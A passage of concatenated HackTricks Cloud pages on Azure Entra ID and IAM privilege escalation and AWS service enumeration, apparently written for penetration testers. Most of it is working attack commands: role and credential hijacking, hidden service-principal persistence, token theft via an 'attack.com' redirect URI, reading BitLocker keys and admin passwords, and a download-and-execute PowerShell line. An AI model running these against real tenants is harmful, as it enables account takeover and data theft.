"https://graph.microsoft.com/v1.0/directoryRoles" # Give role (Global Administrator?) to a user roleId="" userId="" az rest --method POST \ --uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \ --headers "Content-Type=application/json" \ --body "{ \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" }" * Add more permissions to a role: bash # List only custom roles az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)' # Change the permissions of a custom role az rest --method PATCH \ --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/" \ --headers "Content-Type=application/json" \ --body '{ "description": "Update basic properties of application registrations", "rolePermissions": [\ {\ "allowedResourceActions": [\ "microsoft.directory/applications/credentials/update"\ ]\ }\ ] }' This allows an attacker to **add credentials** (passwords or certificates) to existing applications. If the application has privileged permissions, the attacker can authenticate as that application and gain those privileges. bash # Generate a new password without overwritting old ones az ad app credential reset --id --append # Generate a new certificate without overwritting old ones az ad app credential reset --id --create-cert This allows the same actions as `applications/credentials/update`, but scoped to single-directory applications. bash az ad app credential reset --id --append By adding themselves as an owner, an attacker can manipulate the application, including credentials and permissions. bash az ad app owner add --id --owner-object-id az ad app credential reset --id --append # You can check the owners with az ad app owner list --id An attacker can add a redirect URI to applications that are being used by users of the tenant and then share with them login URLs that use the new redirect URL in order to steal their tokens. Note that if the user was already logged in the application, the authentication is going to be automatic without the user needing to accept anything. Note that it's also possible to change the permissions the application requests in order to get more permissions, but in this case the user will need accept again the prompt asking for all the permissions. bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" # Add a new redirect URI (make sure to keep the configured ones) az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges. bash az ad sp credential reset --id --append caution The new generated password won't appear in the web console, so this could be a stealth way to maintain persistence over a service principal. From the API they can be found with: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute: bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges. bash az ad sp credential reset --id --append Similar to applications, this permission allows to add more owners to a service principal. Owning a service principal allows control over its credentials and permissions. bash # Add new owner spId="" userId="" az rest --method POST \ --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \ --headers "Content-Type=application/json" \ --body "{ \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" }" az ad sp credential reset --id --append # You can check the owners with az ad sp owner list --id caution After adding a new owner, I tried to remove it but the API responded that the DELETE method wasn't supported, even if it's the method you need to use to delete the owner. So you **can't remove owners nowadays**. These permissions allows to disable and enable service principals. An attacker could use this permission to enable a service principal he could get access to somehow to escalate privileges. Note that for this technique the attacker will need more permissions in order to take over the enabled service principal. bash bashCopy code# Disable az ad sp update --id --account-enabled false # Enable az ad sp update --id --account-enabled true These permissions allow to create and get credentials for single sign-on which could allow access to third-party applications. bash # Generate SSO creds for a user or a group spID="" user_or_group_id="" username="" password="" az rest --method POST \ --uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \ --headers "Content-Type=application/json" \ --body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}" # Get credentials of a specific credID credID="" az rest --method POST \ --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \ --headers "Content-Type=application/json" \ --body "{\"id\": \"$credID\"}" * * * This permission allows to add users to privileged groups, leading to privilege escalation. bash az ad group member add --group --member-id **Note**: This permission excludes Entra ID role-assignable groups. This permission allows to become an owner of groups. An owner of a group can control group membership and settings, potentially escalating privileges to the group. bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id **Note**: This permission excludes Entra ID role-assignable groups. This permission allows to add members to a group. An attacker could add himself or malicious accounts to privileged groups can grant elevated access. bash az ad group member add --group --member-id This permission allows to update membership rule in a dynamic group. An attacker could modify dynamic rules to include himself in privileged groups without explicit addition. bash groupId="" az rest --method PATCH \ --uri "https://graph.microsoft.com/v1.0/groups/$groupId" \ --headers "Content-Type=application/json" \ --body '{ "membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")", "membershipRuleProcessingState": "On" }' **Note**: This permission excludes Entra ID role-assignable groups. It might be possible for users to escalate privileges modifying their own properties to be added as members of dynamic groups. For more info check: [Az - Dynamic Groups Privesc](dynamic-groups.html) This permission allows to reset password to non-admin users, allowing a potential attacker to escalate privileges to other users. This permission cannot be assigned to custom roles. bash az ad user update --id --password "kweoifuh.234" This privilege allows to modify properties of the user. It's common to find dynamic groups that add users based on properties values, therefore, this permission could allow a user to set the needed property value to be a member to a specific dynamic group and escalate privileges. bash #e.g. change manager of a user victimUser="" managerUser="" az rest --method PUT \ --uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \ --headers "Content-Type=application/json" \ --body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}' #e.g. change department of a user az rest --method PATCH \ --uri "https://graph.microsoft.com/v1.0/users/$victimUser" \ --headers "Content-Type=application/json" \ --body "{\"department\": \"security\"}" Misconfigured conditional access policies requiring MFA could be bypassed, check: [Az - Conditional Access Policies & MFA Bypass](az-conditional-access-policies-mfa-bypass.html) This permission allows attackers to assigning themselves as owners of devices to gain control or access to device-specific settings and data. bash deviceId="" userId="" az rest --method POST \ --uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \ --headers "Content-Type=application/json" \ --body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}' This permission allows attackers to associate their account with devices to gain access or to bypass security policies. bash deviceId="" userId="" az rest --method POST \ --uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \ --headers "Content-Type=application/json" \ --body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}' This permission allows attackers to read the properties of the backed up local administrator account credentials for Microsoft Entra joined devices, including the password bash # List deviceLocalCredentials az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials" # Get credentials deviceLC="" az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \ This permission allows to access BitLocker keys, which could allow an attacker to decrypt drives, compromising data confidentiality. bash # List recovery keys az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys" # Get key recoveryKeyId="" az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" * `microsoft.directory/applications/permissions/update` * `microsoft.directory/servicePrincipals/permissions/update` * `microsoft.directory/applications.myOrganization/allProperties/update` * `microsoft.directory/applications/allProperties/update` * `microsoft.directory/servicePrincipals/appRoleAssignedTo/update` * `microsoft.directory/applications/appRoles/update` * `microsoft.directory/applications.myOrganization/permissions/update` tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - Azure IAM Privesc (Authorization) - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 3 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Fore more information check: [Az - Entra ID (AzureAD) & Azure IAM](../az-services/az-azuread.html) This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role: bash # Example az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234" This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned. Create the file `role.json` with the following **content**: json { "Name": "", "IsCustom": true, "Description": "Custom role with elevated privileges", "Actions": ["*"], "NotActions": [], "DataActions": ["*"], "NotDataActions": [], "AssignableScopes": ["/subscriptions/"] } Then update the role permissions with the previous definition calling: bash az role definition update --role-definition role.json This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources. tip I think the user need to be Global Administrator in Entrad ID for the elevate call to work. bash # Call elevate az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01" # Grant a user the Owner role az role assignment create --assignee "" --role "Owner" --scope "/" This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**. Example command to give access to a repo in Github to the a managed identity: bash # Generic example: az rest --method PUT \ --uri "https://management.azure.com//subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities//federatedIdentityCredentials/?api-version=2023-01-31" \ --headers "Content-Type=application/json" \ --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:/:ref:refs/heads/","audiences":["api://AzureADTokenExchange"]}}' # Example with specific data: az rest --method PUT \ --uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \ --headers "Content-Type=application/json" \ --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - Media Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. https://{random_id}.mediaconvert.{region}.amazonaws.com https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel https://{random_id}.data.mediastore.{region}.amazonaws.com tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - ACR - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Azure Container Registry (ACR) is a managed service provided by Microsoft Azure for **storing and managing Docker container images and other artifacts**. It offers features such as integrated developer tools, geo-replication, security measures like role-based access control and image scanning, automated builds, webhooks and triggers, and network isolation. It works with popular tools like Docker CLI and Kubernetes, and integrates well with other Azure services. To enumerate the service you could use the script [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1) : bash # List Docker images inside the registry IEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1") Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name "DisableFirstRunCustomize" -Value 2 Get-AzACR -username -password -registry .azurecr.io bash az acr list --output table az acr show --name MyRegistry --resource-group MyResourceGroup bash # List all ACRs in your subscription Get-AzContainerRegistry # Get a specific ACR Get-AzContainerRegistry -ResourceGroupName "MyResourceGroup" -Name "MyRegistry" Login & Pull from the registry bash docker login .azurecr.io --username --password docker pull .azurecr.io/: tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - MQ Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. In case of **RabbitMQ**, by **default public access** and ssl are enabled. But you need **credentials** to access (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Moreover, it's possible to **access the web management console** if you know the credentials in `https://b-.mq.us-east-1.amazonaws.com/` In case of **ActiveMQ**, by default public access and ssl are enabled, but you need credentials to access. https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - MSK Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. It's possible to **expose the Kafka broker to the public**, but you will need **credentials**, IAM permissions or a valid certificate (depending on the auth method configured). It's also **possible to disabled authentication**, but in that case **it's not possible to directly expose** the port to the Internet. b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - Primary Refresh Token (PRT) - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. **Chec the post in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) although another post explaining the same can be found in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - SNS Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more information about SNS check: [AWS - SNS Enum](../aws-services/aws-sns-enum.html) When you configure a SNS topic from the web console it's possible to indicate that **Everyone can publish and subscribe** to the topic: ![](../../../images/image (212).png) So if you **find the ARN of topics** inside the account (or brute forcing potential names for topics) you can **check** if you can **publish** or **subscribe** to **them**. tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - VMs & Network Post Exploitation - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) 